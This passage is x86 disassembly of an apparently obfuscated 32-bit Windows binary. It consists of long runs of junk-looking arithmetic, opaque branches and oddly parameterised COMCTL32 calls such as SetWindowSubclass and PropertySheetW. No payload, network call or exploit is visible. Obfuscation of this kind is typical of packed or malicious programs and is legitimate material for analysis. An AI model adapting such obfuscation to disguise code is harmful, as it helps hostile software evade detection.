push edx
mov eax, dword [ebp - 0x776c]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx ecx, byte [ebp - 0x4a55]
push ecx
movzx edx, byte [ebp - 0x4a55]
push edx
movzx eax, word [ebp - 0x1b5c]
push eax
movzx ecx, byte [ebp - 0x4a55]
push ecx
movzx edx, byte [ebp - 0x4a55]
push edx
call fcn.0049fa50
jmp 0x403201
movsx eax, byte [ebp - 0x727d]
add eax, 0x70
mov byte [ebp - 0x727d], al
mov cl, byte [ebp - 0x4a55]
mov byte [ebp - 0xb644], cl
cmp byte [ebp - 0xb644], 0xa8
je 0x40314c
cmp byte [ebp - 0xb644], 0xc0
je 0x4031e1
jmp 0x403201
movzx edx, word [ebp - 0x1b5c]
cmp edx, 0x4e7
jne 0x4031da
push 0xf4
push 0xf0
push 0xe1
mov eax, dword [ebp - 0x4768]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x1a20], eax
lea ecx, [ebp - 0x1b5c]
push ecx
push fcn.0049f890
mov edx, dword [ebp - 0x776c]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x79f0], eax
mov eax, dword [ebp - 0x4c18]
sub eax, 0xb9ba
mov dword [ebp - 0x4c18], eax
movzx ecx, byte [ebp - 0x4a55]
add ecx, 0x20
mov byte [ebp - 0x4a55], cl
lea edx, [ebp - 0x1104]
push edx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x4e20], eax
mov dword [ebp - 0x4e20], 0x3c92
jmp 0x4031df
call fcn.0049fde0
jmp 0x403201
push 0x4a
lea eax, [ebp - 0x1b5c]
push eax
push fcn.00401120
mov ecx, dword [ebp - 0x5058]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x42d8], eax
lea edx, [ebp - 0x727d]
mov dword [ebp - 0xb520], edx
mov dword [ebp - 0x9844], 0x9fc5
mov dword [ebp - 0x6a90], 0x6bbc
mov dword [ebp - 0x1f50], 0xf172
mov eax, dword [ebp - 0x4e20]
mov dword [ebp - 0xb648], eax
cmp dword [ebp - 0xb648], 0
je 0x403255
cmp dword [ebp - 0xb648], 0x2f66
je 0x4032df
jmp 0x4033ad
mov ecx, 0x7d6
mov word [ebp - 0xadc0], cx
mov edx, dword [ebp - 0x4c18]
mov dword [ebp - 0xb64c], edx
cmp dword [ebp - 0xb64c], 0xff56
je 0x40327b
jmp 0x40328e
movzx eax, word [ebp - 0x1b5c]
and eax, 0x12
mov word [ebp - 0x1b5c], ax
jmp 0x4032da
lea ecx, [ebp - 0x4c18]
mov dword [ebp - 0x5020], ecx
mov dword [ebp - 0x6b1c], 0x1a1f
lea edx, [ebp - 0x4e20]
mov dword [ebp - 0x11e0], edx
lea eax, [ebp - 0x4e20]
mov dword [ebp - 0x99e8], eax
mov dword [ebp - 0x3928], 0xb67e
mov dword [ebp - 0x39ac], 0x6792
mov dword [ebp - 0x6818], 0x5614
jmp 0x4033ad
movsx ecx, byte [ebp - 0x727d]
sub ecx, 0x11
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
cmp ecx, eax
jg 0x40332f
mov ecx, dword [ebp - 0x4c18]
add ecx, 0x7991
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0xa8f4]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x9b0], eax
movzx ecx, byte [ebp - 0x4a55]
or ecx, 0x75
mov byte [ebp - 0x4a55], cl
jmp 0x403379
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x4e20]
je 0x403379
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
sar eax, cl
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], al
movzx edx, byte [ebp - 0x727d]
push edx
movzx eax, word [ebp - 0xadc0]
push eax
call fcn.00401120
add esp, 8
push 1
mov ecx, dword [ebp - 0x53d8]
push ecx
mov edx, dword [ebp - 0x53dc]
push edx
mov eax, dword [ebp - 0x4768]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x4c18]
shl ecx, 0x1c
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov dword [ebp - 0xa010], 0x3b7c
movzx eax, word [ebp - 0x1b5c]
mov dword [ebp - 0xb650], eax
cmp dword [ebp - 0xb650], 0x97b
je 0x40341a
cmp dword [ebp - 0xb650], 0xfe7
je 0x4033e1
jmp 0x49f808
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
lea ecx, [ebp - 0x776c]
push ecx
push section..text
mov edx, dword [ebp - 0x5058]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x79f0], eax
jmp 0x49f808
movzx eax, word [ebp - 0x1b5c]
mov dword [ebp - 0xb654], eax
cmp dword [ebp - 0xb654], 0x97b
je 0x403438
jmp 0x49f77c
movzx ecx, byte [ebp - 0x4a55]
cmp ecx, 0xc8
jne 0x40350b
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, 0xfd64
cmp eax, dword [ebp - 0x4c18]
jbe 0x40348c
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
mov dword [ebp - 0x4e20], edx
push 0x49
push 0xb9
push 0xec
mov eax, dword [ebp - 0xa8f4]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x4c18]
sub ecx, 0x8108
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov al, byte [ebp - 0x4a55]
mov byte [ebp - 0xb658], al
cmp byte [ebp - 0xb658], 0x69
je 0x4034b7
jmp 0x4034fb
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
push 0xec
push 0xd6
push 0x5b
mov eax, dword [ebp - 0x776c]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x3e94], eax
jmp 0x40350b
movzx ecx, byte [ebp - 0x4a55]
and ecx, 0x3f
mov byte [ebp - 0x4a55], cl
mov dword [ebp - 0x11d4], 0xf29
cmp dword [ebp - 0x6818], 0x6609
ja 0x403634
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c18]
xor edx, 0x5287
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xcc0]
or edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x4e20], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xcc0]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
shl ecx, 3
mov byte [ebp - 0x727d], cl
mov edx, dword [ebp - 0x6818]
add edx, 0x5f
mov dword [ebp - 0x6818], edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1b5c]
and eax, 0xd11
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x4c18]
add ecx, 0xd771
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c18]
sub eax, 0x7a09
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, 0x981
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
jmp 0x403515
cmp dword [ebp - 0x39ac], 0x77d0
jae 0x4038f4
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x4e20]
add edx, dword [ecx]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
add ecx, 0xfe3e
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x4e20]
and eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x4e20]
or eax, dword [edx]
mov dword [ebp - 0xcc0], eax
movzx ecx, byte [ebp - 0x4a55]
sar ecx, 7
mov byte [ebp - 0x4a55], cl
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
shl eax, 0x10
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
movsx ecx, word [ebp - 0xadc0]
add ecx, 0x2a1
mov word [ebp - 0xadc0], cx
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
and eax, 0x22
mov byte [ebp - 0x727d], al
movzx ecx, byte [ebp - 0x4a55]
sub ecx, 0x79
mov byte [ebp - 0x4a55], cl
mov edx, dword [ebp - 0x4c18]
add edx, 0xcdf
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, 0x6e5d
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0xcc0]
sub eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
add eax, dword [ecx]
mov dword [ebp - 0x4e20], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0xcc0]
sub eax, dword [edx]
mov dword [ebp - 0x4e20], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c18]
or ecx, 0xef39
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0xcc0]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xcc0]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xcc0]
and ecx, dword [ebp - 0x4e20]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c18]
add eax, 0x359f
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x39ac]
add edx, 0x7e
mov dword [ebp - 0x39ac], edx
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x7ee
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
add edx, 0x74
mov byte [ebp - 0x727d], dl
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0xcc0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x727d]
sub eax, 0x64
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], al
movzx edx, word [ebp - 0x1b5c]
add edx, 0x2dd
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x4c18]
xor eax, 0xfbee
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
jmp 0x403634
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x4e20]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0xcc0], eax
mov edx, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x4e20]
sar edx, cl
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c18]
or ecx, 0x6676
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x4a55]
add eax, 0x91
mov byte [ebp - 0x4a55], al
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xcc0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x14dc]
add ecx, 0xec
mov dword [ebp - 0x14dc], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0xcc0]
add eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
movsx edx, word [ebp - 0xadc0]
sub edx, 0x318
mov word [ebp - 0xadc0], dx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x727d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c18]
shr ecx, 1
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4c18]
shl edx, cl
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0xcc0]
or edx, dword [ecx]
mov dword [ebp - 0x4e20], edx
movzx eax, byte [ebp - 0x4a55]
xor eax, 0xb
mov byte [ebp - 0x4a55], al
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
sub edx, 0x9911
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x4e20]
add ecx, dword [eax]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x4e20]
add eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c18]
sub edx, 0xd196
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
cmp dword [ebp - 0x14dc], 0x4590
jbe 0x4038f4
mov cl, byte [ebp - 0x727d]
mov byte [ebp - 0xb65c], cl
cmp byte [ebp - 0xb65c], 0
je 0x403b0b
cmp byte [ebp - 0xb65c], 0x2a
je 0x49f693
jmp 0x49f737
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4c18]
shr eax, cl
mov dword [section..data], eax
mov dword [ebp - 0x768], 0xad8a
mov cl, byte [ebp - 0x727d]
mov byte [ebp - 0x5f9d], cl
mov dl, byte [ebp - 0x4a55]
mov byte [ebp - 0x911], dl
movzx eax, byte [ebp - 0x4a55]
xor eax, 0x30
movzx ecx, byte [ebp - 0x911]
cmp eax, ecx
je 0x49f5ed
lea edx, [ebp - 0x6894]
mov dword [ebp - 0x1b60], edx
movsx eax, word [ebp - 0xadc0]
cmp eax, 0x630
jle 0x403b7f
call fcn.0049fde0
jmp 0x49f561
lea ecx, [ebp - 0x4c18]
mov dword [ebp - 0x741c], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x6894]
add eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov dword [ebp - 0x4308], 0x1571
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x4c18]
and ecx, dword [section..data]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x4ff
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6894]
shl edx, cl
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
movsx ecx, word [ebp - 0xadc0]
sar ecx, 0xc
mov word [ebp - 0xadc0], cx
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f9d]
or eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x81c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x81c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e20]
sub ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x5020]
mov eax, dword [section..data]
add eax, dword [edx]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x81c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6894]
sub ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [section..data]
and ecx, dword [eax]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov edx, dword [ebp - 0x81c]
mov ecx, dword [ebp - 0x4e20]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x81c]
sub eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x727d]
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x5f9d], dl
movzx edx, word [ebp - 0x1b5c]
and edx, 0xe45
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x4c18]
add ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x5020]
mov eax, dword [section..data]
sub eax, dword [edx]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9844]
add ecx, 0xdb
mov dword [ebp - 0x9844], ecx
movzx edx, word [ebp - 0x1b5c]
add edx, 0xed4
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x727d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
add edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x6894]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x6894]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x81c]
or ecx, dword [ebp - 0x4e20]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1b5c]
sar eax, 3
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x727d]
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x5f9d], cl
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
add edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6894]
and edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x5f9d]
movsx edx, byte [ebp - 0x727d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [section..data]
add edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c18]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
mov dword [ebp - 0x6894], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
add edx, dword [eax]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x81c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f9d]
xor eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
movzx eax, byte [ebp - 0x4a55]
sar eax, 4
mov byte [ebp - 0x911], al
mov edx, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x4e20]
shl edx, cl
mov dword [ebp - 0xcc0], edx
cmp dword [ebp - 0x9844], 0xdfee
jne 0x403bab
cmp dword [ebp - 0x6a90], 0x72f4
jae 0x40441c
mov eax, dword [ebp - 0x5020]
mov ecx, dword [section..data]
or ecx, dword [eax]
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
and eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4e20]
sub edx, dword [ebp - 0x81c]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e20]
sub ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x4a55]
add eax, 0x26
mov byte [ebp - 0x911], al
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
sub edx, eax
mov byte [ebp - 0x5f9d], dl
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5020]
add eax, dword [ecx]
mov dword [ebp - 0x4c18], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b60]
add eax, dword [ecx]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], eax
mov eax, dword [ebp - 0x4c18]
sub eax, dword [section..data]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1b5c]
add edx, 0x61e
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [section..data], edx
mov eax, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x6894]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x81c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x4c18]
and edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4a55]
sub ecx, 0x1f
mov byte [ebp - 0x911], cl
mov edx, dword [ebp - 0xcc0]
add edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6894]
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
and edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x5f9d]
movsx edx, byte [ebp - 0x727d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x727d]
movsx edx, byte [ebp - 0x5f9d]
xor ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [section..data]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x1b60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xcc0]
shl edx, cl
